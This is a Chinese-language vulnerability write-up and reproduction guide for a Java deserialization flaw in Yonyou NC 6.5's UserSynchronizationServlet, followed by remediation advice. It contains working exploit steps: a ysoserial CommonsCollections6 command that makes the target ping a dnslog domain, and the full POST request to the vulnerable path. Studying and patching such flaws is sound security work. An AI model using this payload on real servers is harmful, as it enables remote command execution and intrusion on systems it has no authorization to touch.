用友NC UserSynchronizationServlet反序列化漏洞分析与复现教学文档<\/h1>

1. 漏洞概述<\/h2>

1.1 漏洞基本信息<\/h3>

漏洞名称<\/strong>：用友NC UserSynchronizationServlet反序列化漏洞<\/li>
漏洞类型<\/strong>：反序列化漏洞<\/li>
威胁等级<\/strong>：高危<\/li>
影响范围<\/strong>：用友NC 6.5版本<\/li>

漏洞位置<\/strong>：nc.bs.pub.im.UserSynchronizationServlet接口<\/li> <\/ul>
1.2 漏洞危害<\/h3>
攻击者通过构造恶意序列化数据，可在目标服务器上执行任意命令，从而：<\/p>

获取服务器敏感信息<\/li>
控制服务器系统<\/li>
进行横向渗透<\/li> <\/ul>
2. 漏洞原理分析<\/h2>
2.1 漏洞代码分析<\/h3>
漏洞核心位于UserSynchronizationServlet<\/code>类的doPost<\/code>方法：<\/p>
protected<\/span> void<\/span> doPost<\/span>(<\/span>HttpServletRequest request,<\/span> HttpServletResponse response)<\/span> throws<\/span> ServletException,<\/span> IOException {<\/span> <\/span><\/span> ObjectInputStream in =<\/span> new<\/span> ObjectInputStream(<\/span>request.<\/span>getInputStream<\/span>());<\/span> <\/span><\/span> HashMap<<\/span>Object,<\/span> Object><\/span> headInfo =<\/span> new<\/span> HashMap();<\/span> <\/span><\/span> try<\/span> {<\/span> <\/span><\/span> headInfo =<\/span> (<\/span>HashMap)<\/span>in.<\/span>readObject<\/span>();<\/span> \/\/ 漏洞触发点 <\/span><\/span><\/span><\/span> }<\/span> catch<\/span> (<\/span>ClassNotFoundException var14)<\/span> {<\/span> <\/span><\/span> \/\/ 异常处理 <\/span><\/span><\/span><\/span> }<\/span> <\/span><\/span> \/\/ 后续处理逻辑... <\/span><\/span><\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>2.2 漏洞触发机制<\/h3> 反序列化操作<\/strong>：in.readObject()<\/code>直接对用户输入的序列化数据进行反序列化<\/li> 缺乏安全校验<\/strong>：未对输入数据进行任何安全验证或过滤<\/li> 利用链存在<\/strong>：系统中存在可利用的反序列化利用链（如CommonsCollections）<\/li> <\/ol> 3. 环境搭建与配置<\/h2> 3.1 测试环境要求<\/h3> 用友NC 6.5系统<\/li> Java运行环境<\/li> 网络可达性测试环境<\/li> <\/ul> 3.2 工具准备<\/h3> # 反序列化利用工具<\/span> <\/span><\/span>ysoserial-all.jar <\/span><\/span> <\/span><\/span># 网络测试工具<\/span> <\/span><\/span>dnslog平台（如dnslog.cn） <\/span><\/span><\/code><\/pre>4. 漏洞检测方法<\/h2> 4.1 手工检测<\/h3> 服务识别<\/strong>：扫描目标系统的\/servlet\/~uapim\/nc.bs.pub.im.UserSynchronizationServlet接口<\/li> 版本确认<\/strong>：通过指纹识别确认用友NC版本为6.5<\/li> <\/ol> 4.2 自动化检测<\/h3> 使用专用扫描工具或编写检测脚本，发送测试payload验证漏洞存在性。<\/p> 5. 漏洞利用详细步骤<\/h2> 5.1 生成恶意序列化数据<\/h3> # 使用ysoserial生成CC6利用链的payload<\/span> <\/span><\/span>java -jar ysoserial-all.jar CommonsCollections6 "ping xxe.jagvy1.dnslog.cn"<\/span> > c.bin <\/span><\/span><\/code><\/pre>5.2 构造HTTP请求<\/h3> POST<\/span> \/servlet\/~uapim\/nc.bs.pub.im.UserSynchronizationServlet HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span>Host:<\/span> 目标IP:端口<\/span> <\/span><\/span>Accept-Encoding:<\/span> gzip<\/span> <\/span><\/span>User-Agent:<\/span> Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit\/605.1.15<\/span> <\/span><\/span>Content-Type:<\/span> application\/octet-stream<\/span> <\/span><\/span>Content-Length:<\/span> [payload长度]<\/span> <\/span><\/span> <\/span><\/span>[恶意序列化数据<\/span>c.bin内容]<\/span> <\/span><\/span><\/code><\/pre>5.3 路由机制分析<\/h3> 用友NC系统的路由处理逻辑：<\/p> 路径解析<\/strong>：NCInvokerServlet处理以\/~<\/code>开头的请求<\/li> 模块解析<\/strong>：\/~uapim\/nc.bs.pub.im.UserSynchronizationServlet<\/code> uapim<\/code>：模块名称<\/li> nc.bs.pub.im.UserSynchronizationServlet<\/code>：服务类完整路径<\/li> <\/ul> <\/li> <\/ul> 6. 漏洞验证与结果分析<\/h2> 6.1 成功利用特征<\/h3> DNSLog回显<\/strong>：在dnslog平台收到查询记录<\/li> 系统响应<\/strong>：服务器可能返回异常或正常响应<\/li> 命令执行<\/strong>：目标系统执行预设命令<\/li> <\/ol> 6.2 失败排查<\/h3> 检查目标系统是否存在CC依赖<\/li> 验证payload生成是否正确<\/li> 确认网络连通性<\/li> <\/ul> 7. 修复建议<\/h2> 7.1 临时缓解措施<\/h3> 访问控制<\/strong>：限制对\/servlet\/~uapim\/<\/code>路径的访问<\/li> 输入验证<\/strong>：对输入数据进行严格验证<\/li> WAF防护<\/strong>：部署Web应用防火墙过滤恶意请求<\/li> <\/ol> 7.2 根本解决方案<\/h3> 代码修复<\/strong>：在反序列化前添加安全校验<\/li> <\/ol> \/\/ 建议修复代码 <\/span><\/span><\/span><\/span>if<\/span> (!<\/span>isSafeSerializedData(<\/span>inputStream))<\/span> {<\/span> <\/span><\/span> throw<\/span> new<\/span> SecurityException(<\/span>"Unsafe serialized data detected"<\/span>);<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre> 依赖库升级<\/strong>：更新存在漏洞的第三方库<\/li> 安全补丁<\/strong>：应用厂商提供的安全补丁<\/li> <\/ol> 8. 防护措施<\/h2> 8.1 开发层面<\/h3> 避免直接反序列化用户输入<\/li> 使用白名单机制验证反序列化类<\/li> 实施代码安全审计<\/li> <\/ul> 8.2 运维层面<\/h3> 定期更新系统补丁<\/li> 实施最小权限原则<\/li> 部署安全监控系统<\/li> <\/ul> 9. 相关知识扩展<\/h2> 9.1 反序列化漏洞原理<\/h3> Java反序列化漏洞利用的是对象序列化\/反序列化过程中的安全缺陷，当攻击者能够控制反序列化数据时，可以构造恶意对象实现代码执行。<\/p> 9.2 常见利用链<\/h3> CommonsCollections系列（CC1-CC7）<\/li> JDK原生利用链<\/li> 第三方框架特定利用链<\/li> <\/ul> 10. 法律与道德声明<\/h2> 本教学文档仅用于安全研究和教育目的，任何个人或组织不得将文中所述技术用于非法用途。在进行安全测试时，请确保获得相关授权，遵守国家法律法规。<\/p> 文档版本<\/strong>：v1.0 最后更新<\/strong>：2026-01-23 适用范围<\/strong>：安全研究人员、渗透测试工程师、系统管理员<\/p>